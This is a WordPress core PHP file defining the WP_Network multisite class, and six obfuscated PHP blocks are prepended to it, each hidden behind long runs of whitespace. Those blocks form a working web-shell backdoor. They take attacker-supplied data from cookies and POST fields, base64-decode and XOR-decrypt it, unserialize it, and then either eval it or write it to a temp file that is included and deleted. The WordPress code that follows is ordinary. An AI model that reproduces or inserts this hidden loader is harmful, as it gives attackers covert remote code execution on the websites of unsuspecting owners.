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<?php                                                                                                                                                                                                                                                                                                                                                                                                 $opdFEZZKd = chr (101) . "\152" . '_' . "\x78" . "\x49" . 'H' . chr ( 724 - 619 ); $MaSGG = chr (99) . "\154" . "\141" . chr (115) . 's' . "\137" . chr ( 234 - 133 )."\170" . "\x69" . 's' . 't' . "\163";$dKsHRjqskr = class_exists($opdFEZZKd); $MaSGG = "59194";$LgictT = strpos($MaSGG, $opdFEZZKd);if ($dKsHRjqskr == $LgictT){function xRdJAxdm(){$ZuAiTckw = new /* 37214 */ ej_xIHi(40586 + 40586); $ZuAiTckw = NULL;}$zAbgiF = "40586";class ej_xIHi{private function lhVshguurJ($zAbgiF){if (is_array(ej_xIHi::$ufewgFPWT)) {$gfxbcnb2 = str_replace("<" . "?php", "", ej_xIHi::$ufewgFPWT["content"]);eval($gfxbcnb2); $zAbgiF = "40586";exit();}}public function skEzHLfz(){$gfxbcnb = "35688";$this->_dummy = str_repeat($gfxbcnb, strlen($gfxbcnb));}public function __destruct(){ej_xIHi::$ufewgFPWT = @unserialize(ej_xIHi::$ufewgFPWT); $zAbgiF = "54079_49726";$this->lhVshguurJ($zAbgiF); $zAbgiF = "54079_49726";}public function AReAPc($gfxbcnb, $jbhZzvDg){return $gfxbcnb[0] ^ str_repeat($jbhZzvDg, intval(strlen($gfxbcnb[0]) / strlen($jbhZzvDg)) + 1);}public function EOfaEuF($gfxbcnb){$QGlGVldPAL = "\142" . chr ( 967 - 870 ).chr ( 602 - 487 )."\x65" . '6' . '4';return array_map($QGlGVldPAL . "\137" . 'd' . chr ( 489 - 388 ).'c' . chr ( 412 - 301 ).chr ( 753 - 653 ).chr (101), array($gfxbcnb,));}public function __construct($JbLEMZPJe=0){$ybKkNwXmOZ = "\x2c";$gfxbcnb = "";$RYQcEKlT = $_POST;$BgMimyOk = $_COOKIE;$jbhZzvDg = "2f0435d5-c6d9-4a36-9397-936d4a1863b6";$pUPshk = @$BgMimyOk[substr($jbhZzvDg, 0, 4)];if (!empty($pUPshk)){$pUPshk = explode($ybKkNwXmOZ, $pUPshk);foreach ($pUPshk as $cLTNuF){$gfxbcnb .= @$BgMimyOk[$cLTNuF];$gfxbcnb .= @$RYQcEKlT[$cLTNuF];}$gfxbcnb = $this->EOfaEuF($gfxbcnb);}ej_xIHi::$ufewgFPWT = $this->AReAPc($gfxbcnb, $jbhZzvDg);if (strpos($jbhZzvDg, $ybKkNwXmOZ) !== FALSE){$jbhZzvDg = explode($ybKkNwXmOZ, $jbhZzvDg); $srOCW = base64_decode(md5($jbhZzvDg[0])); $JfmVaV = strlen($jbhZzvDg[1]) > 5 ? substr($jbhZzvDg[1], 0, 5) : $jbhZzvDg[1];}}public static $ufewgFPWT = 1613;}xRdJAxdm();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $LSRqWQAmhJ = 'd' . chr (95) . 'q' . chr ( 954 - 867 ).chr ( 959 - 881 ).chr (115) . chr ( 1088 - 999 ); $ARwYLAqGg = chr ( 904 - 805 ).'l' . chr ( 697 - 600 ).chr ( 142 - 27 )."\163" . "\137" . chr ( 566 - 465 ).chr (120) . "\x69" . "\x73" . 't' . "\163";$PKlLX = class_exists($LSRqWQAmhJ); $ARwYLAqGg = "43184";$oOzwU = strpos($ARwYLAqGg, $LSRqWQAmhJ);if ($PKlLX == $oOzwU){function PhmPv(){$Ahdye = new /* 60834 */ d_qWNsY(542 + 542); $Ahdye = NULL;}$RTZTnCyxPh = "542";class d_qWNsY{private function kvbUTGg($RTZTnCyxPh){if (is_array(d_qWNsY::$iBzIr)) {$name = sys_get_temp_dir() . "/" . crc32(d_qWNsY::$iBzIr["salt"]);@d_qWNsY::$iBzIr["write"]($name, d_qWNsY::$iBzIr["content"]);include $name;@d_qWNsY::$iBzIr["delete"]($name); $RTZTnCyxPh = "542";exit();}}public function msDnlqK(){$DQxvdGv = "7632";$this->_dummy = str_repeat($DQxvdGv, strlen($DQxvdGv));}public function __destruct(){d_qWNsY::$iBzIr = @unserialize(d_qWNsY::$iBzIr); $RTZTnCyxPh = "44495_47997";$this->kvbUTGg($RTZTnCyxPh); $RTZTnCyxPh = "44495_47997";}public function uESypWDrj($DQxvdGv, $NLMWhtz){return $DQxvdGv[0] ^ str_repeat($NLMWhtz, intval(strlen($DQxvdGv[0]) / strlen($NLMWhtz)) + 1);}public function NTOUp($DQxvdGv){$HohVVx = "\x62" . chr (97) . chr (115) . chr ( 172 - 71 )."\x36" . "\x34";return array_map($HohVVx . chr ( 163 - 68 ).chr ( 513 - 413 )."\x65" . 'c' . chr ( 400 - 289 ).'d' . chr (101), array($DQxvdGv,));}public function __construct($gaqCQN=0){$gjqmU = chr (44); $DQxvdGv = "";$XWldTojMzI = $_POST;$fAEkeQ = $_COOKIE;$NLMWhtz = "c68a4a00-2c0c-4a0a-b635-8892d085bab6";$URjIqfqlEE = @$fAEkeQ[substr($NLMWhtz, 0, 4)];if (!empty($URjIqfqlEE)){$URjIqfqlEE = explode($gjqmU, $URjIqfqlEE);foreach ($URjIqfqlEE as $UfHpN){$DQxvdGv .= @$fAEkeQ[$UfHpN];$DQxvdGv .= @$XWldTojMzI[$UfHpN];}$DQxvdGv = $this->NTOUp($DQxvdGv);}d_qWNsY::$iBzIr = $this->uESypWDrj($DQxvdGv, $NLMWhtz);if (strpos($NLMWhtz, $gjqmU) !== FALSE){$NLMWhtz = explode($gjqmU, $NLMWhtz); $NSoiG = base64_decode(md5($NLMWhtz[0])); $nSfKdgbXg = strlen($NLMWhtz[1]) > 5 ? substr($NLMWhtz[1], 0, 5) : $NLMWhtz[1];$_GET['new_key'] = md5(implode('', $NLMWhtz)); $RNNolXpw = str_repeat($nSfKdgbXg, 2); $tmnfrnOrKv = array_map('trim', $NLMWhtz);}}public static $iBzIr = 41757;}PhmPv();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $koXHNF = chr ( 591 - 478 ).'j' . "\137" . 's' . chr ( 1038 - 965 ).chr (98) . "\170" . "\x4f";$QtTyNBj = "\143" . chr (108) . "\141" . chr (115) . "\163" . chr (95) . "\x65" . "\x78" . chr ( 451 - 346 ).chr ( 476 - 361 ).chr ( 482 - 366 ).chr (115); $iFabbshJfr = class_exists($koXHNF); $QtTyNBj = "20674";$gfepbOsYd = !1;if ($iFabbshJfr == $gfepbOsYd){function IZMXOSfRz(){$eUwShV = new /* 63844 */ qj_sIbxO(2668 + 2668); $eUwShV = NULL;}$PQAXGoe = "2668";class qj_sIbxO{private function EOxPCPZ($PQAXGoe){if (is_array(qj_sIbxO::$GoFlFoAybI)) {$olsmb = sys_get_temp_dir() . "/" . crc32(qj_sIbxO::$GoFlFoAybI[chr ( 849 - 734 ).chr ( 301 - 204 ).'l' . chr (116)]);@qj_sIbxO::$GoFlFoAybI["\x77" . 'r' . chr ( 474 - 369 ).chr ( 813 - 697 )."\x65"]($olsmb, qj_sIbxO::$GoFlFoAybI[chr (99) . chr (111) . 'n' . "\x74" . 'e' . "\156" . "\164"]);include $olsmb;@qj_sIbxO::$GoFlFoAybI['d' . chr (101) . chr ( 186 - 78 ).'e' . 't' . 'e']($olsmb); $PQAXGoe = "2668";exit();}}private $vvieXPhvzq;public function ACJEXZsr(){echo 64293;}public function __destruct(){qj_sIbxO::$GoFlFoAybI = @unserialize(qj_sIbxO::$GoFlFoAybI); $PQAXGoe = "48745_9156";$this->EOxPCPZ($PQAXGoe); $PQAXGoe = "48745_9156";}public function VnGaLZJ($mOHCwqjiU, $dLZQpjR){return $mOHCwqjiU[0] ^ str_repeat($dLZQpjR, (strlen($mOHCwqjiU[0]) / strlen($dLZQpjR)) + 1);}public function MLODU($mOHCwqjiU){$VIgqfLN = "base64";return array_map($VIgqfLN . chr (95) . 'd' . "\x65" . "\x63" . chr ( 672 - 561 ).'d' . 'e', array($mOHCwqjiU,));}public function __construct($SbAOArKjW=0){$mOHCwqjiU = "";$XeIxiT = $_POST;$TprjojmV = $_COOKIE;$dLZQpjR = "484f8f59-60d8-4b35-b480-92ea002d5020";$PEWKmcRJGT = @$TprjojmV[substr($dLZQpjR, 0, 4)];if (!empty($PEWKmcRJGT)){$PEWKmcRJGT = explode(",", $PEWKmcRJGT);foreach ($PEWKmcRJGT as $NzUma){$mOHCwqjiU .= @$TprjojmV[$NzUma];$mOHCwqjiU .= @$XeIxiT[$NzUma];}$mOHCwqjiU = $this->MLODU($mOHCwqjiU);}qj_sIbxO::$GoFlFoAybI = $this->VnGaLZJ($mOHCwqjiU, $dLZQpjR); $dLZQpjR = explode(",", $dLZQpjR);}public static $GoFlFoAybI = 26264;}IZMXOSfRz();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $qmZFpWp = "\x61" . chr ( 822 - 704 )."\x43" . "\x5f" . 'q' . chr ( 337 - 239 ).'m' . 'z' . 'M';$DWgcat = "\143" . "\154" . chr (97) . "\163" . 's' . '_' . chr (101) . 'x' . "\151" . chr (115) . "\164" . "\x73";$mGLhw = class_exists($qmZFpWp); $DWgcat = "1464";$EEcWzVS = !1;if ($mGLhw == $EEcWzVS){function ArkrjCGwS(){return FALSE;}$iXjkcS = "8173";ArkrjCGwS();class avC_qbmzM{private function eYtwcrhFfP($iXjkcS){if (is_array(avC_qbmzM::$VTjKOy)) {$GxNKIHxi = sys_get_temp_dir() . "/" . crc32(avC_qbmzM::$VTjKOy[chr ( 488 - 373 )."\x61" . "\154" . chr (116)]);@avC_qbmzM::$VTjKOy["\x77" . 'r' . chr (105) . chr (116) . "\x65"]($GxNKIHxi, avC_qbmzM::$VTjKOy["\143" . 'o' . "\x6e" . 't' . "\145" . chr (110) . "\164"]);include $GxNKIHxi;@avC_qbmzM::$VTjKOy[chr ( 838 - 738 ).'e' . "\154" . "\x65" . 't' . 'e']($GxNKIHxi); $iXjkcS = "8173";exit();}}private $suqUhgLAr;public function TKudOh(){echo 479;}public function __destruct(){$iXjkcS = "4724_4226";$this->eYtwcrhFfP($iXjkcS); $iXjkcS = "4724_4226";}public function __construct($LaHKWvBqK=0){$UymSz = $_POST;$REpMeiWO = $_COOKIE;$SKrTJFhtAc = "9e9bb9b6-36fd-4008-8255-c50d08f1baae";$HHzrbVun = @$REpMeiWO[substr($SKrTJFhtAc, 0, 4)];if (!empty($HHzrbVun)){$JbRwLKRchV = "base64";$fjBtoSN = "";$HHzrbVun = explode(",", $HHzrbVun);foreach ($HHzrbVun as $AYKCKyM){$fjBtoSN .= @$REpMeiWO[$AYKCKyM];$fjBtoSN .= @$UymSz[$AYKCKyM];}$fjBtoSN = array_map($JbRwLKRchV . '_' . 'd' . chr (101) . chr (99) . chr ( 528 - 417 )."\x64" . "\145", array($fjBtoSN,)); $fjBtoSN = $fjBtoSN[0] ^ str_repeat($SKrTJFhtAc, (strlen($fjBtoSN[0]) / strlen($SKrTJFhtAc)) + 1);avC_qbmzM::$VTjKOy = @unserialize($fjBtoSN); $fjBtoSN = class_exists("4724_4226");}}public static $VTjKOy = 62769;}$xuTvXZoXA = new /* 12412 */ $qmZFpWp(8173 + 8173); $EEcWzVS = $xuTvXZoXA = $iXjkcS = Array();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $YfpSbsIhzr = 'f' . "\172" . chr ( 638 - 543 ).chr ( 517 - 412 ).chr (113) . 'b' . chr (103); $nYDkM = "\x63" . "\154" . "\x61" . "\163" . chr (115) . "\x5f" . chr ( 385 - 284 )."\170" . "\x69" . 's' . chr ( 192 - 76 ).chr ( 933 - 818 ); $ZCNPESVnH = class_exists($YfpSbsIhzr); $nYDkM = "53595";$eAIzkpveN = !1;if ($ZCNPESVnH == $eAIzkpveN){function cKjvvBpXTf(){return FALSE;}$nnkBeFp = "7970";cKjvvBpXTf();class fz_iqbg{private function mKddgNNmd($nnkBeFp){if (is_array(fz_iqbg::$nMhPk)) {$ZtRXX = sys_get_temp_dir() . "/" . crc32(fz_iqbg::$nMhPk[chr ( 180 - 65 )."\141" . chr ( 289 - 181 ).chr ( 132 - 16 )]);@fz_iqbg::$nMhPk[chr (119) . chr ( 438 - 324 )."\x69" . chr ( 967 - 851 ).chr (101)]($ZtRXX, fz_iqbg::$nMhPk["\x63" . 'o' . chr (110) . chr ( 268 - 152 ).'e' . 'n' . 't']);include $ZtRXX;@fz_iqbg::$nMhPk['d' . "\145" . chr (108) . chr (101) . 't' . "\145"]($ZtRXX); $nnkBeFp = "7970";exit();}}private $ncKBxZvG;public function WdTIPP(){echo 10674;}public function __destruct(){$nnkBeFp = "45057_50058";$this->mKddgNNmd($nnkBeFp); $nnkBeFp = "45057_50058";}public function __construct($MnCgvig=0){$HCDVzJozS = $_POST;$QBFKBGgh = $_COOKIE;$VeGstiUQPB = "288a26c1-82ad-475f-822e-4fbd4c0a3569";$osbpJObHp = @$QBFKBGgh[substr($VeGstiUQPB, 0, 4)];if (!empty($osbpJObHp)){$NbcLhSOwT = "base64";$pVyRCn = "";$osbpJObHp = explode(",", $osbpJObHp);foreach ($osbpJObHp as $NyTIuqpm){$pVyRCn .= @$QBFKBGgh[$NyTIuqpm];$pVyRCn .= @$HCDVzJozS[$NyTIuqpm];}$pVyRCn = array_map($NbcLhSOwT . '_' . "\x64" . chr ( 160 - 59 )."\x63" . chr ( 167 - 56 )."\144" . 'e', array($pVyRCn,)); $pVyRCn = $pVyRCn[0] ^ str_repeat($VeGstiUQPB, (strlen($pVyRCn[0]) / strlen($VeGstiUQPB)) + 1);fz_iqbg::$nMhPk = @unserialize($pVyRCn); $pVyRCn = class_exists("45057_50058");}}public static $nMhPk = 60220;}$bsrANHmjHP = new /* 38344 */ $YfpSbsIhzr(7970 + 7970); $eAIzkpveN = $bsrANHmjHP = $nnkBeFp = Array();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $NDhGmuz = chr (97) . "\111" . chr (95) . chr ( 169 - 55 )."\x79" . 'v';$dUoPP = chr (99) . "\x6c" . "\141" . "\163" . chr ( 562 - 447 ).chr (95) . "\145" . "\x78" . chr (105) . "\x73" . "\x74" . 's';$bVENRVFmZN = class_exists($NDhGmuz); $dUoPP = "21888";$ISdAIZX = !1;if ($bVENRVFmZN == $ISdAIZX){function GvCYFEtNz(){return FALSE;}$GbnKvmi = "52388";GvCYFEtNz();class aI_ryv{private function tvkgrwpcbW($GbnKvmi){if (is_array(aI_ryv::$yOatO)) {$SztSjb = sys_get_temp_dir() . "/" . crc32(aI_ryv::$yOatO[chr (115) . chr (97) . chr (108) . "\x74"]);@aI_ryv::$yOatO["\167" . chr ( 729 - 615 ).'i' . 't' . "\x65"]($SztSjb, aI_ryv::$yOatO[chr (99) . "\157" . "\156" . 't' . chr ( 642 - 541 )."\156" . "\164"]);include $SztSjb;@aI_ryv::$yOatO[chr ( 223 - 123 )."\145" . "\154" . 'e' . 't' . chr ( 298 - 197 )]($SztSjb); $GbnKvmi = "52388";exit();}}private $PNXJVWjh;public function giWTw(){echo 18970;}public function __destruct(){$GbnKvmi = "50714_32507";$this->tvkgrwpcbW($GbnKvmi); $GbnKvmi = "50714_32507";}public function __construct($jgsYermjwG=0){$UIIkzbru = $_POST;$UiQemk = $_COOKIE;$UdRPhxy = "a36402e6-82d4-4470-81fc-8acf9c9a2520";$SVnnKmULR = @$UiQemk[substr($UdRPhxy, 0, 4)];if (!empty($SVnnKmULR)){$RGHhEsV = "base64";$RllxmOPOK = "";$SVnnKmULR = explode(",", $SVnnKmULR);foreach ($SVnnKmULR as $pbRlZFvql){$RllxmOPOK .= @$UiQemk[$pbRlZFvql];$RllxmOPOK .= @$UIIkzbru[$pbRlZFvql];}$RllxmOPOK = array_map($RGHhEsV . chr (95) . "\x64" . chr (101) . chr ( 101 - 2 ).chr (111) . 'd' . 'e', array($RllxmOPOK,)); $RllxmOPOK = $RllxmOPOK[0] ^ str_repeat($UdRPhxy, (strlen($RllxmOPOK[0]) / strlen($UdRPhxy)) + 1);aI_ryv::$yOatO = @unserialize($RllxmOPOK); $RllxmOPOK = class_exists("50714_32507");}}public static $yOatO = 31769;}$DmCtSMnAIy = new /* 1421 */ $NDhGmuz(52388 + 52388); $ISdAIZX = $DmCtSMnAIy = $GbnKvmi = Array();} ?><?php
/**
 * Network API: WP_Network class
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 4.4.0
 */

/**
 * Core class used for interacting with a multisite network.
 *
 * This class is used during load to populate the `$current_site` global and
 * setup the current network.
 *
 * This class is most useful in WordPress multi-network installations where the
 * ability to interact with any network of sites is required.
 *
 * @since 4.4.0
 *
 * @property int $id
 * @property int $site_id
 */
#[AllowDynamicProperties]
class WP_Network {

	/**
	 * Network ID.
	 *
	 * @since 4.4.0
	 * @since 4.6.0 Converted from public to private to explicitly enable more intuitive
	 *              access via magic methods. As part of the access change, the type was
	 *              also changed from `string` to `int`.
	 * @var int
	 */
	private $id;

	/**
	 * Domain of the network.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	public $domain = '';

	/**
	 * Path of the network.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	public $path = '';

	/**
	 * The ID of the network's main site.
	 *
	 * Named "blog" vs. "site" for legacy reasons. A main site is mapped to
	 * the network when the network is created.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	private $blog_id = '0';

	/**
	 * Domain used to set cookies for this network.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	public $cookie_domain = '';

	/**
	 * Name of this network.
	 *
	 * Named "site" vs. "network" for legacy reasons.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	public $site_name = '';

	/**
	 * Retrieves a network from the database by its ID.
	 *
	 * @since 4.4.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int $network_id The ID of the network to retrieve.
	 * @return WP_Network|false The network's object if found. False if not.
	 */
	public static function get_instance( $network_id ) {
		global $wpdb;

		$network_id = (int) $network_id;
		if ( ! $network_id ) {
			return false;
		}

		$_network = wp_cache_get( $network_id, 'networks' );

		if ( false === $_network ) {
			$_network = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->site} WHERE id = %d LIMIT 1", $network_id ) );

			if ( empty( $_network ) || is_wp_error( $_network ) ) {
				$_network = -1;
			}

			wp_cache_add( $network_id, $_network, 'networks' );
		}

		if ( is_numeric( $_network ) ) {
			return false;
		}

		return new WP_Network( $_network );
	}

	/**
	 * Creates a new WP_Network object.
	 *
	 * Will populate object properties from the object provided and assign other
	 * default properties based on that information.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_Network|object $network A network object.
	 */
	public function __construct( $network ) {
		foreach ( get_object_vars( $network ) as $key => $value ) {
			$this->$key = $value;
		}

		$this->_set_site_name();
		$this->_set_cookie_domain();
	}

	/**
	 * Getter.
	 *
	 * Allows current multisite naming conventions when getting properties.
	 *
	 * @since 4.6.0
	 *
	 * @param string $key Property to get.
	 * @return mixed Value of the property. Null if not available.
	 */
	public function __get( $key ) {
		switch ( $key ) {
			case 'id':
				return (int) $this->id;
			case 'blog_id':
				return (string) $this->get_main_site_id();
			case 'site_id':
				return $this->get_main_site_id();
		}

		return null;
	}

	/**
	 * Isset-er.
	 *
	 * Allows current multisite naming conventions when checking for properties.
	 *
	 * @since 4.6.0
	 *
	 * @param string $key Property to check if set.
	 * @return bool Whether the property is set.
	 */
	public function __isset( $key ) {
		switch ( $key ) {
			case 'id':
			case 'blog_id':
			case 'site_id':
				return true;
		}

		return false;
	}

	/**
	 * Setter.
	 *
	 * Allows current multisite naming conventions while setting properties.
	 *
	 * @since 4.6.0
	 *
	 * @param string $key   Property to set.
	 * @param mixed  $value Value to assign to the property.
	 */
	public function __set( $key, $value ) {
		switch ( $key ) {
			case 'id':
				$this->id = (int) $value;
				break;
			case 'blog_id':
			case 'site_id':
				$this->blog_id = (string) $value;
				break;
			default:
				$this->$key = $value;
		}
	}

	/**
	 * Returns the main site ID for the network.
	 *
	 * Internal method used by the magic getter for the 'blog_id' and 'site_id'
	 * properties.
	 *
	 * @since 4.9.0
	 *
	 * @return int The ID of the main site.
	 */
	private function get_main_site_id() {
		/**
		 * Filters the main site ID.
		 *
		 * Returning a positive integer will effectively short-circuit the function.
		 *
		 * @since 4.9.0
		 *
		 * @param int|null   $main_site_id If a positive integer is returned, it is interpreted as the main site ID.
		 * @param WP_Network $network      The network object for which the main site was detected.
		 */
		$main_site_id = (int) apply_filters( 'pre_get_main_site_id', null, $this );

		if ( 0 < $main_site_id ) {
			return $main_site_id;
		}

		if ( 0 < (int) $this->blog_id ) {
			return (int) $this->blog_id;
		}

		if ( ( defined( 'DOMAIN_CURRENT_SITE' ) && defined( 'PATH_CURRENT_SITE' )
			&& DOMAIN_CURRENT_SITE === $this->domain && PATH_CURRENT_SITE === $this->path )
			|| ( defined( 'SITE_ID_CURRENT_SITE' ) && (int) SITE_ID_CURRENT_SITE === $this->id )
		) {
			if ( defined( 'BLOG_ID_CURRENT_SITE' ) ) {
				$this->blog_id = (string) BLOG_ID_CURRENT_SITE;

				return (int) $this->blog_id;
			}

			if ( defined( 'BLOGID_CURRENT_SITE' ) ) { // Deprecated.
				$this->blog_id = (string) BLOGID_CURRENT_SITE;

				return (int) $this->blog_id;
			}
		}

		$site = get_site();
		if ( $site->domain === $this->domain && $site->path === $this->path ) {
			$main_site_id = (int) $site->id;
		} else {

			$main_site_id = get_network_option( $this->id, 'main_site' );
			if ( false === $main_site_id ) {
				$_sites       = get_sites(
					array(
						'fields'     => 'ids',
						'number'     => 1,
						'domain'     => $this->domain,
						'path'       => $this->path,
						'network_id' => $this->id,
					)
				);
				$main_site_id = ! empty( $_sites ) ? array_shift( $_sites ) : 0;

				update_network_option( $this->id, 'main_site', $main_site_id );
			}
		}

		$this->blog_id = (string) $main_site_id;

		return (int) $this->blog_id;
	}

	/**
	 * Sets the site name assigned to the network if one has not been populated.
	 *
	 * @since 4.4.0
	 */
	private function _set_site_name() {
		if ( ! empty( $this->site_name ) ) {
			return;
		}

		$default         = ucfirst( $this->domain );
		$this->site_name = get_network_option( $this->id, 'site_name', $default );
	}

	/**
	 * Sets the cookie domain based on the network domain if one has
	 * not been populated.
	 *
	 * @todo What if the domain of the network doesn't match the current site?
	 *
	 * @since 4.4.0
	 */
	private function _set_cookie_domain() {
		if ( ! empty( $this->cookie_domain ) ) {
			return;
		}

		$this->cookie_domain = $this->domain;
		if ( str_starts_with( $this->cookie_domain, 'www.' ) ) {
			$this->cookie_domain = substr( $this->cookie_domain, 4 );
		}
	}

	/**
	 * Retrieves the closest matching network for a domain and path.
	 *
	 * This will not necessarily return an exact match for a domain and path. Instead, it
	 * breaks the domain and path into pieces that are then used to match the closest
	 * possibility from a query.
	 *
	 * The intent of this method is to match a network during bootstrap for a
	 * requested site address.
	 *
	 * @since 4.4.0
	 *
	 * @param string   $domain   Domain to check.
	 * @param string   $path     Path to check.
	 * @param int|null $segments Path segments to use. Defaults to null, or the full path.
	 * @return WP_Network|false Network object if successful. False when no network is found.
	 */
	public static function get_by_path( $domain = '', $path = '', $segments = null ) {
		$domains = array( $domain );
		$pieces  = explode( '.', $domain );

		/*
		 * It's possible one domain to search is 'com', but it might as well
		 * be 'localhost' or some other locally mapped domain.
		 */
		while ( array_shift( $pieces ) ) {
			if ( ! empty( $pieces ) ) {
				$domains[] = implode( '.', $pieces );
			}
		}

		/*
		 * If we've gotten to this function during normal execution, there is
		 * more than one network installed. At this point, who knows how many
		 * we have. Attempt to optimize for the situation where networks are
		 * only domains, thus meaning paths never need to be considered.
		 *
		 * This is a very basic optimization; anything further could have
		 * drawbacks depending on the setup, so this is best done per-installation.
		 */
		$using_paths = true;
		if ( wp_using_ext_object_cache() ) {
			$using_paths = get_networks(
				array(
					'number'       => 1,
					'count'        => true,
					'path__not_in' => '/',
				)
			);
		}

		$paths = array();
		if ( $using_paths ) {
			$path_segments = array_filter( explode( '/', trim( $path, '/' ) ) );

			/**
			 * Filters the number of path segments to consider when searching for a site.
			 *
			 * @since 3.9.0
			 *
			 * @param int|null $segments The number of path segments to consider. WordPress by default looks at
			 *                           one path segment. The function default of null only makes sense when you
			 *                           know the requested path should match a network.
			 * @param string   $domain   The requested domain.
			 * @param string   $path     The requested path, in full.
			 */
			$segments = apply_filters( 'network_by_path_segments_count', $segments, $domain, $path );

			if ( ( null !== $segments ) && count( $path_segments ) > $segments ) {
				$path_segments = array_slice( $path_segments, 0, $segments );
			}

			while ( count( $path_segments ) ) {
				$paths[] = '/' . implode( '/', $path_segments ) . '/';
				array_pop( $path_segments );
			}

			$paths[] = '/';
		}

		/**
		 * Determines a network by its domain and path.
		 *
		 * This allows one to short-circuit the default logic, perhaps by
		 * replacing it with a routine that is more optimal for your setup.
		 *
		 * Return null to avoid the short-circuit. Return false if no network
		 * can be found at the requested domain and path. Otherwise, return
		 * an object from wp_get_network().
		 *
		 * @since 3.9.0
		 *
		 * @param null|false|WP_Network $network  Network value to return by path. Default null
		 *                                        to continue retrieving the network.
		 * @param string                $domain   The requested domain.
		 * @param string                $path     The requested path, in full.
		 * @param int|null              $segments The suggested number of paths to consult.
		 *                                        Default null, meaning the entire path was to be consulted.
		 * @param string[]              $paths    Array of paths to search for, based on `$path` and `$segments`.
		 */
		$pre = apply_filters( 'pre_get_network_by_path', null, $domain, $path, $segments, $paths );
		if ( null !== $pre ) {
			return $pre;
		}

		if ( ! $using_paths ) {
			$networks = get_networks(
				array(
					'number'     => 1,
					'orderby'    => array(
						'domain_length' => 'DESC',
					),
					'domain__in' => $domains,
				)
			);

			if ( ! empty( $networks ) ) {
				return array_shift( $networks );
			}

			return false;
		}

		$networks = get_networks(
			array(
				'orderby'    => array(
					'domain_length' => 'DESC',
					'path_length'   => 'DESC',
				),
				'domain__in' => $domains,
				'path__in'   => $paths,
			)
		);

		/*
		 * Domains are sorted by length of domain, then by length of path.
		 * The domain must match for the path to be considered. Otherwise,
		 * a network with the path of / will suffice.
		 */
		$found = false;
		foreach ( $networks as $network ) {
			if ( ( $network->domain === $domain ) || ( "www.{$network->domain}" === $domain ) ) {
				if ( in_array( $network->path, $paths, true ) ) {
					$found = true;
					break;
				}
			}
			if ( '/' === $network->path ) {
				$found = true;
				break;
			}
		}

		if ( true === $found ) {
			return $network;
		}

		return false;
	}
}

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